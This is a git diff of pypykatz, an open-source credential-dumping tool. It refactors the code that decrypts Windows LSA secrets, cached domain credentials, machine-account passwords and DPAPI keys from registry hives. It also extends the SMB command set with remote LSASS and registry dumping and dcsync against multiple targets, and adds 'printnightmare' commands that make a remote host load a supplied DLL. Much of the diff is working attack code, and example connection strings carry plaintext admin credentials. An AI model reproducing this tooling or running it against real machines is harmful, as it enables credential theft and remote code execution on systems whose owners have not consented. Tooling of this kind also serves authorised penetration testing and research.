+			self.secret = self.raw_secret.hex()
+		else:
+			#here you may implement a mechanism to fetch the service user's name
+			#TODO
+			self.service = self.key_name
+			self.username = 'UNKNOWN'
+			if self.system_hive is not None:
+				self.username = await self.system_hive.get_service_user(self.key_name[4:])
+
+	def __str__(self):
+		return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret)
+
+	def to_dict(self):
+		t = {}
+		t['type'] = 'LSASecretService'
+		t['key_name'] = self.key_name
+		t['history'] = self.history
+		t['username'] = self.username
+		t['secret'] = self.secret
+		t['service'] = self.service
+		return t
+		
+
+class LSASecretDefaultPassword(LSASecret):
+	def __init__(self, key_name, raw_secret, history):
+		LSASecret.__init__(self, key_name, raw_secret, history)
+		self.username = None
+		self.secret = None
+		
+	def process_secret(self):
+		try:
+			self.secret = self.raw_secret.decode('utf-16-le')
+		except:
+			pass
+		else:
+			#here you may implement a mechanism to fetch the default logon user
+			#TODO
+			self.username = 'UNKNOWN'
+			
+	def __str__(self):
+		return '=== LSA Default Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret)
+
+	def to_dict(self):
+		t = {}
+		t['type'] = 'LSASecretDefaultPassword'
+		t['key_name'] = self.key_name
+		t['history'] = self.history
+		t['username'] = self.username
+		t['secret'] = self.secret
+		return t
+		
+class LSASecretASPNET(LSASecret):
+	def __init__(self, key_name, raw_secret, history):
+		LSASecret.__init__(self, key_name, raw_secret, history)
+		self.username = 'ASPNET'
+		self.secret = None
+		
+	def process_secret(self):
+		try:
+			self.secret = self.raw_secret.decode('utf-16-le')
+		except:
+			pass
+	
+	def __str__(self):
+		return '=== LSA ASPNET Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret)
+
+	def to_dict(self):
+		t = {}
+		t['type'] = 'LSASecretASPNET'
+		t['key_name'] = self.key_name
+		t['history'] = self.history
+		t['username'] = self.username
+		t['secret'] = self.secret
+		return t
+
+class LSASecretMachineAccount(LSASecret):
+	def __init__(self, key_name, raw_secret, history):
+		LSASecret.__init__(self, key_name, raw_secret, history)
+		self.username = None
+		self.secret = None
+		self.kerberos_password = None
+	
+	def process_secret(self):
+		#only the NT hash is calculated here
+		ctx = MD4(self.raw_secret)#hashlib.new('md4')
+		#ctx.update(self.raw_secret)
+		self.secret = ctx.digest()
+		
+		#thx dirkjan
+		self.kerberos_password = self.raw_secret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
+		
+	def to_dict(self):
+		t = {}
+		t['type'] = 'LSASecretMachineAccount'
+		t['key_name'] = self.key_name
+		t['history'] = self.history
+		t['username'] = self.username
+		t['secret'] = self.secret
+		t['kerberos_password'] = self.kerberos_password
+		return t
+		
+	def __str__(self):
+		return '=== LSA Machine account password ===\r\nHistory: %s\r\nNT: %s\r\nPassword(hex): %s\r\nKerberos password(hex): %s' % (self.history, self.secret.hex(), self.raw_secret.hex(), self.kerberos_password.hex())
+	
+		
+class LSASecretDPAPI(LSASecret):
+	def __init__(self, key_name, raw_secret, history):
+		LSASecret.__init__(self, key_name, raw_secret, history)
+		self.machine_key = None
+		self.user_key = None
+
+	def process_secret(self):
+		ds = DPAPI_SYSTEM.from_bytes(self.raw_secret)
+		self.machine_key = ds.machine_key
+		self.user_key = ds.user_key
+		
+	def to_dict(self):
+		t = {}
+		t['type'] = 'LSASecretDPAPI'
+		t['key_name'] = self.key_name
+		t['history'] = self.history
+		t['machine_key'] = self.machine_key
+		t['user_key'] = self.user_key
+		return t
+		
+	def __str__(self):
+		return '=== LSA DPAPI secret ===\r\nHistory: %s\r\nMachine key (hex): %s\r\nUser key(hex): %s' % (self.history, self.machine_key.hex(), self.user_key.hex())
+
+class LSADCCSecret:
+	def __init__(self, version, domain, username, hash_value, iteration = None):
+		self.version = version
+		self.domain = domain
+		self.username = username
+		self.iteration = iteration
+		self.hash_value = hash_value
+		
+	def to_dict(self):
+		t = {}
+		t['version'] = self.version
+		t['domain'] = self.domain
+		t['username'] = self.username
+		t['iteration'] = self.iteration
+		t['hash_value'] = self.hash_value
+		return t
+		
+	def __str__(self):
+		return self.to_lopth()
+		
+	def to_lopth(self):
+		if self.version == 1:
+			return "%s/%s:%s:%s" % (self.domain, self.username, self.hash_value.hex(), self.username)
+		else:
+			return "%s/%s:$DCC2$%s#%s#%s" % (self.domain, self.username, self.iteration, self.username, self.hash_value.hex())
\ No newline at end of file
diff --git a/pypykatz/registry/security/asecurity.py b/pypykatz/registry/security/asecurity.py
index 37c5bdb..542b9bf 100644
--- a/pypykatz/registry/security/asecurity.py
+++ b/pypykatz/registry/security/asecurity.py
@@ -6,14 +6,12 @@
 import hashlib
 import hmac
 from pypykatz.registry.sam.structures import *
-from pypykatz.crypto.RC4 import RC4
-from pypykatz.crypto.aes import AESModeOfOperationCBC,AESModeOfOperationECB, Decrypter
-from pypykatz.crypto.des import *
+from unicrypto.symmetric import RC4, DES, AES, expand_DES_key, MODE_CBC
 
 
 #####
 from pypykatz.registry.security.structures import *
-from pypykatz.registry.security.common import *
+from pypykatz.registry.security.acommon import *
 from pypykatz.registry import logger
 from pypykatz.commons.common import hexdump
 
@@ -25,8 +23,9 @@ from pypykatz.commons.common import hexdump
 # as this functionality can be used by any service that wants to stroe some secret information
 
 class SECURITY:
-	def __init__(self, security_hive, bootkey):
+	def __init__(self, security_hive, bootkey, system_hive = None):
 		self.hive = security_hive
+		self.system_hive = system_hive
 		self.bootkey = bootkey
 		
 		self.dcc_iteration_count = 10240
@@ -51,7 +50,7 @@ class SECURITY:
 			record = LSA_SECRET.from_bytes(data)
 			key = SECURITY.sha256_multi(self.bootkey, record.data[:32])
 			secret_dec = b''
-			cipher = AESModeOfOperationECB(key)
+			cipher = AES(key)
 			n = 16
 			for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]:  #terrible, terrible workaround
 				if len(block) < n:
@@ -96,7 +95,7 @@ class SECURITY:
 		for _ in range(0, len(value), 8):
 			enc_blob = value[:8]
 			des_key = expand_DES_key(t_key[:7])
-			ctx = des(des_key)
+			ctx = DES(des_key)
 			dec_blob += ctx.decrypt(enc_blob)
 			t_key = t_key[7:]
 			value = value[8:]
@@ -120,7 +119,7 @@ class SECURITY:
 			self.NKLM_key = b''
 			record = LSA_SECRET.from_bytes(value[1])
 			key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
-			cipher = AESModeOfOperationECB(key)
+			cipher = AES(key)
 			n = 16
 			for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]:  #terrible, terrible workaround
 				if len(block) < n:
@@ -179,7 +178,7 @@ class SECURITY:
 					# Encrypted
 					if self.lsa_secret_key_vista_type is True:
 						plaintext = b''
-						cipher = AESModeOfOperationCBC(self.NKLM_key[16:32], iv = record.IV)
+						cipher = AES(self.NKLM_key[16:32], MODE_CBC, IV = record.IV)
 						n = 16
 						for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]:  #terrible, terrible workaround
 							if len(block) < 16:
@@ -236,7 +235,7 @@ class SECURITY:
 						record = LSA_SECRET.from_bytes(v[1])
 						key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
 						secret_dec = b''
-						cipher = AESModeOfOperationECB(key)
+						cipher = AES(key)
 						n = 16
 						for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]:  #terrible, terrible workaround
 							if len(block) < n:
@@ -248,7 +247,7 @@ class SECURITY:
 					else:
 						dec_blob = self.decrypt_secret(self.lsa_key, v[1])
 						
-					secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal')
+					secret = await LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive)
 					if secret is not None:
 						self.cached_secrets.append(secret)
 					
diff --git a/pypykatz/registry/security/common.py b/pypykatz/registry/security/common.py
index 896697c..0da73f0 100644
--- a/pypykatz/registry/security/common.py
+++ b/pypykatz/registry/security/common.py
@@ -4,7 +4,7 @@
 #  Tamas Jos (@skelsec)
 #
 
-from pypykatz.crypto.MD4 import MD4
+from unicrypto.hashlib import md4 as MD4
 from pypykatz.dpapi.structures.system import DPAPI_SYSTEM
 from pypykatz.commons.common import hexdump
 
@@ -22,7 +22,7 @@ class LSASecret:
 		self.history = history
 	
 	@staticmethod
-	def process(key_name, raw_secret, history = False):
+	def process(key_name, raw_secret, history = False, system_hive = None):
 		kn = key_name.upper()
 		if len(raw_secret) == 0:
 			return
@@ -30,7 +30,7 @@ class LSASecret:
 			return
 		
 		if kn.startswith('_SC_'):
-			lss = LSASecretService(kn, raw_secret, history)
+			lss = LSASecretService(kn, raw_secret, history, system_hive)
 			lss.process_secret()
 			
 		elif kn.startswith('DEFAULTPASSWORD'):
@@ -66,8 +66,9 @@ class LSASecret:
 		return t
 		
 class LSASecretService(LSASecret):
-	def __init__(self, key_name, raw_secret, history):
+	def __init__(self, key_name, raw_secret, history, system_hive = None):
 		LSASecret.__init__(self, key_name, raw_secret, history)
+		self.system_hive = system_hive
 		self.service = None
 		self.username = None
 		self.secret = None
@@ -76,13 +77,16 @@ class LSASecretService(LSASecret):
 		try:
 			self.secret = self.raw_secret.decode('utf-16-le')
 		except:
-			pass
+			self.secret = self.raw_secret.hex()
 		else:
 			#here you may implement a mechanism to fetch the service user's name
 			#TODO
 			self.service = self.key_name
 			self.username = 'UNKNOWN'
-			
+			if self.system_hive is not None:
+				print(self.key_name[4:])
+				self.username = self.system_hive.get_service_user(self.key_name[4:])
+
 	def __str__(self):
 		return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret)
 
diff --git a/pypykatz/registry/security/security.py b/pypykatz/registry/security/security.py
index b075bba..6959419 100644
--- a/pypykatz/registry/security/security.py
+++ b/pypykatz/registry/security/security.py
@@ -3,19 +3,15 @@
 # Author:
 #  Tamas Jos (@skelsec)
 #
-import hashlib
-import hmac
-from pypykatz.registry.sam.structures import *
-from pypykatz.crypto.RC4 import RC4
-from pypykatz.crypto.aes import AESModeOfOperationCBC,AESModeOfOperationECB, Decrypter
-from pypykatz.crypto.des import *
-
+from unicrypto import hashlib
+from unicrypto import hmac
+from unicrypto.symmetric import RC4, AES, MODE_CBC, DES, expand_DES_key
 
 #####
-from pypykatz.registry.security.structures import *
-from pypykatz.registry.security.common import *
+import io
+from pypykatz.registry.security.structures import LSA_SECRET, LSA_SECRET_BLOB, LSA_SECRET_XP, NL_RECORD
+from pypykatz.registry.security.common import LSADCCSecret, LSASecret
 from pypykatz.registry import logger
-from pypykatz.commons.common import hexdump
 
 #
 # The SECURITY hive holds all the domain-cached-credentials for the domain users who logged in to the machine
@@ -25,8 +21,9 @@ from pypykatz.commons.common import hexdump
 # as this functionality can be used by any service that wants to stroe some secret information
 
 class SECURITY:
-	def __init__(self, security_hive, bootkey):
+	def __init__(self, security_hive, bootkey, system_hive = None):
 		self.hive = security_hive
+		self.system_hive = system_hive
 		self.bootkey = bootkey
 		
 		self.dcc_iteration_count = 10240
@@ -51,7 +48,7 @@ class SECURITY:
 			record = LSA_SECRET.from_bytes(data)
 			key = SECURITY.sha256_multi(self.bootkey, record.data[:32])
 			secret_dec = b''
-			cipher = AESModeOfOperationECB(key)
+			cipher = AES(key)
 			n = 16
 			for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]:  #terrible, terrible workaround
 				if len(block) < n:
@@ -96,7 +93,7 @@ class SECURITY:
 		for _ in range(0, len(value), 8):
 			enc_blob = value[:8]
 			des_key = expand_DES_key(t_key[:7])
-			ctx = des(des_key)
+			ctx = DES(des_key)
 			dec_blob += ctx.decrypt(enc_blob)
 			t_key = t_key[7:]
 			value = value[8:]
@@ -120,7 +117,7 @@ class SECURITY:
 			self.NKLM_key = b''
 			record = LSA_SECRET.from_bytes(value[1])
 			key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
-			cipher = AESModeOfOperationECB(key)
+			cipher = AES(key)
 			n = 16
 			for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]:  #terrible, terrible workaround
 				if len(block) < n:
@@ -177,7 +174,7 @@ class SECURITY:
 					# Encrypted
 					if self.lsa_secret_key_vista_type is True:
 						plaintext = b''
-						cipher = AESModeOfOperationCBC(self.NKLM_key[16:32], iv = record.IV)
+						cipher = AES(self.NKLM_key[16:32], MODE_CBC, IV = record.IV)
 						n = 16
 						for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]:  #terrible, terrible workaround
 							if len(block) < 16:
@@ -185,7 +182,7 @@ class SECURITY:
 							plaintext += cipher.decrypt(block)
 							
 					else:
-						key = hmac.new(self.NKLM_key,record.IV).digest()
+						key = hmac.new(self.NKLM_key,record.IV, digestmod='md5').digest()
 						cipher = RC4(key)
 						plaintext = cipher.decrypt(record.EncryptedData)
 						
@@ -234,7 +231,7 @@ class SECURITY:
 						record = LSA_SECRET.from_bytes(v[1])
 						key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
 						secret_dec = b''
-						cipher = AESModeOfOperationECB(key)
+						cipher = AES(key)
 						n = 16
 						for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]:  #terrible, terrible workaround
 							if len(block) < n:
@@ -246,7 +243,7 @@ class SECURITY:
 					else:
 						dec_blob = self.decrypt_secret(self.lsa_key, v[1])
 						
-					secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal')
+					secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive)
 					if secret is not None:
 						self.cached_secrets.append(secret)
 					
diff --git a/pypykatz/registry/system/asystem.py b/pypykatz/registry/system/asystem.py
index d335326..198f372 100644
--- a/pypykatz/registry/system/asystem.py
+++ b/pypykatz/registry/system/asystem.py
@@ -58,6 +58,17 @@ class SYSTEM:
 		await self.get_currentcontrol()
 		await self.get_bootkey()
 	
+	async def get_service_user(self, service_name):
+		if self.currentcontrol is None:
+			await self.get_currentcontrol()
+		
+		try:
+			key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name)
+			val = await self.hive.get_value(key)
+			return val[1].decode('utf-16-le')
+		except:
+			return None
+		
 	def to_dict(self):
 		t = {}
 		t['CurrentControlSet'] = self.currentcontrol
diff --git a/pypykatz/registry/system/system.py b/pypykatz/registry/system/system.py
index 8a4c740..559f9cb 100644
--- a/pypykatz/registry/system/system.py
+++ b/pypykatz/registry/system/system.py
@@ -56,7 +56,17 @@ class SYSTEM:
 	def get_secrets(self):
 		self.get_currentcontrol()
 		self.get_bootkey()
-	
+
+	def get_service_user(self, service_name):
+		if self.currentcontrol is None:
+			self.get_currentcontrol()
+		
+		try:
+			key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name)
+			return self.hive.get_value(key)[1].decode('utf-16-le')
+		except:
+			return None
+
 	def to_dict(self):
 		t = {}
 		t['CurrentControlSet'] = self.currentcontrol
diff --git a/pypykatz/remote/cmdhelper.py b/pypykatz/remote/cmdhelper.py
index 68281fd..c7374f9 100644
--- a/pypykatz/remote/cmdhelper.py
+++ b/pypykatz/remote/cmdhelper.py
@@ -4,53 +4,51 @@
 #  Tamas Jos (@skelsec)
 #
 
-import os
-import json
-import glob
-import ntpath
-import traceback
-
-from pypykatz import logging
-from pypykatz.commons.common import UniversalEncoder
-
-
+import argparse
 
 class RemoteCMDHelper:
 	def __init__(self):
-		self.live_keywords = ['share','session','localgroup']
+		self.live_keywords = ['smbapi']
 		self.keywords = [] #['remote'] no yet implemented
 		
 	def add_args(self, parser, live_parser):
-		live_group = live_parser.add_parser('share', help='Remote share relted operations')
-		live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
-		live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
-		live_group.add_argument('cmd', choices=['enum'])
-		live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
-		live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
-		live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
-		live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
+
+		live_subcommand_parser = argparse.ArgumentParser(add_help=False)                                                                                                  
+		live_smbapi_subparsers = live_subcommand_parser.add_subparsers(help = 'SMB via Windows API')
+		live_smbapi_subparsers.required = True
+		live_smbapi_subparsers.dest = 'livesmbapi'
+
+		live_smbapi_share = live_smbapi_subparsers.add_parser('share', help='Remote share relted operations')
+		live_smbapi_share.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
+		live_smbapi_share.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
+		live_smbapi_share.add_argument('op', choices=['enum'])
+		live_smbapi_share.add_argument('-f', '--target-file', help = 'Targets file, one per line')
+		live_smbapi_share.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
+		live_smbapi_share.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
+		live_smbapi_share.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
 		
-		live_group = live_parser.add_parser('session', help='Remote user sessions related operations')
-		live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
-		live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
-		live_group.add_argument('cmd', choices=['enum'])
-		live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
-		live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
-		live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
-		live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
+		live_smbapi_session = live_smbapi_subparsers.add_parser('session', help='Remote user sessions related operations')
+		live_smbapi_session.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
+		live_smbapi_session.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
+		live_smbapi_session.add_argument('op', choices=['enum'])
+		live_smbapi_session.add_argument('-f', '--target-file', help = 'Targets file, one per line')
+		live_smbapi_session.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
+		live_smbapi_session.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
+		live_smbapi_session.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
 		
-		live_group = live_parser.add_parser('localgroup', help='Remote localgroup related operations')
-		live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
-		live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
-		live_group.add_argument('cmd', choices=['enum'])
-		live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
-		live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
-		live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
-		live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
-		live_group.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.')
+		live_smbapi_localgroup = live_smbapi_subparsers.add_parser('localgroup', help='Remote localgroup related operations')
+		live_smbapi_localgroup.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
+		live_smbapi_localgroup.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
+		live_smbapi_localgroup.add_argument('op', choices=['enum'])
+		live_smbapi_localgroup.add_argument('-f', '--target-file', help = 'Targets file, one per line')
+		live_smbapi_localgroup.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
+		live_smbapi_localgroup.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
+		live_smbapi_localgroup.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
+		live_smbapi_localgroup.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.')
 		
+		live_parser.add_parser('smbapi', help='SMB operations using the windows API', parents=[live_subcommand_parser])
 		
-		#group = parser.add_parser('registry', help='Get secrets from registry files')
+		#group = live_smbapi_subparsers.add_parser('registry', help='Get secrets from registry files')
 		#group.add_argument('system', help='path to the SYSTEM registry hive')
 		#group.add_argument('--sam', help='path to the SAM registry hive')
 		#group.add_argument('--security', help='path to the SECURITY registry hive')
@@ -69,8 +67,8 @@ class RemoteCMDHelper:
 		pass
 				
 	def run_live(self, args):
-		if args.module == 'share':
-			if args.cmd == 'enum':
+		if args.livesmbapi == 'share':
+			if args.op == 'enum':
 				from pypykatz.remote.live.share.enumerator import ShareEnumerator
 				
 				se = ShareEnumerator()
@@ -97,8 +95,8 @@ class RemoteCMDHelper:
 					
 				se.run()
 		
-		elif args.module == 'session':
-			if args.cmd == 'enum':
+		elif args.livesmbapi == 'session':
+			if args.op == 'enum':
 				from pypykatz.remote.live.session.enumerator import SessionMonitor
 				
 				se = SessionMonitor()
@@ -124,8 +122,8 @@ class RemoteCMDHelper:
 					
 				se.run()
 			
-		elif args.module == 'localgroup':
-			if args.cmd == 'enum':
+		elif args.livesmbapi == 'localgroup':
+			if args.op == 'enum':
 				from pypykatz.remote.live.localgroup.enumerator import LocalGroupEnumerator
 				
 				se = LocalGroupEnumerator()
diff --git a/pypykatz/smb/cmdhelper.py b/pypykatz/smb/cmdhelper.py
index 788ac8e..a6a841e 100644
--- a/pypykatz/smb/cmdhelper.py
+++ b/pypykatz/smb/cmdhelper.py
@@ -9,15 +9,16 @@
 import os
 import json
 import ntpath
+import asyncio
 import platform
 import argparse
 import base64
 import traceback
 
-from pypykatz import logging
+from pypykatz import logger
 from pypykatz.commons.common import UniversalEncoder
 from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession
-import asyncio
+
 
 """
 This is a wrapper for aiosmb
@@ -44,10 +45,10 @@ class SMBCMDHelper:
 		smb_subparsers.required = True
 		smb_subparsers.dest = 'smb_module'
 
-		smb_console_group = smb_subparsers.add_parser('console', help='SMB client. Use "help" instead of "-h" to get the available subcommands')
-		smb_console_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
-		smb_console_group.add_argument('url', help="SMB connection string")
-		smb_console_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
+		smb_client_group = smb_subparsers.add_parser('client', help='SMB client. Use "help" instead of "-h" to get the available subcommands')
+		smb_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
+		smb_client_group.add_argument('url', help="SMB connection string")
+		smb_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
 		
 		smb_lsassfile_group = smb_subparsers.add_parser('lsassfile', help='Parse a remote LSASS dump file.')
 		smb_lsassfile_group.add_argument('url', help="SMB connection string with file in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/C$/Users/victim/Desktop/lsass.DMP'")
@@ -59,16 +60,17 @@ class SMBCMDHelper:
 		smb_lsassfile_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
 
 
-		smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Yes.')
+		smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS')
 		smb_lsassdump_group.add_argument('url', help="SMB connection string Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102'")
-		smb_lsassdump_group.add_argument('-m','--method', choices=['taskexec'] , default = 'taskexec', help = 'Print credentials in JSON format')
+		smb_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format')
 		smb_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
 		smb_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
 		smb_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
 		smb_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
 		smb_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
 		smb_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
-
+		smb_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
+		smb_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
 
 
 		smb_regfile_group = smb_subparsers.add_parser('regfile', help='Parse a remote registry hive dumps')
@@ -80,18 +82,21 @@ class SMBCMDHelper:
 		smb_regfile_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
 		smb_regfile_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
 		
-		smb_regsec_group = smb_subparsers.add_parser('regdump', help='Regsecrets')
+		smb_regsec_group = smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry')
 		smb_regsec_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102'")
 		smb_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
 		smb_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
+		smb_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
+		smb_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
+
 
 		smb_dcsync_group = smb_subparsers.add_parser('dcsync', help='DcSync')
-		smb_dcsync_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/'")
+		smb_dcsync_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.2'")
 		smb_dcsync_group.add_argument('-u', '--username', help='taget username')
 		smb_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file')
 
 		smb_secretsdump_group = smb_subparsers.add_parser('secretsdump', help='secretsdump')
-		smb_secretsdump_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/'")
+		smb_secretsdump_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/'")
 		smb_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
 		smb_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
 		smb_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
@@ -102,8 +107,6 @@ class SMBCMDHelper:
 
 
 		smb_shareenum_parser = smb_subparsers.add_parser('shareenum', help = 'SMB share enumerator')
-		smb_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
-		smb_shareenum_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
 		smb_shareenum_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
 		smb_shareenum_parser.add_argument('--depth', type=int, default =3, help="Maximum level of folders to enum")
 		smb_shareenum_parser.add_argument('--maxitems', type=int, default = None, help="Maximum number of items per forlder to enumerate")
@@ -122,21 +125,72 @@ class SMBCMDHelper:
 		smb_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration')
 		smb_shareenum_parser.add_argument('smb_url', help = 'SMB connection string. Credentials specified here will be used to perform the enumeration')
 
+		printnightmare_group = smb_subparsers.add_parser('printnightmare', help='printnightmare')
+		printnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/'")
+		printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
+		printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
+		printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
+		
+		parprintnightmare_group = smb_subparsers.add_parser('parprintnightmare', help='par printnightmare')
+		parprintnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/'")
+		parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
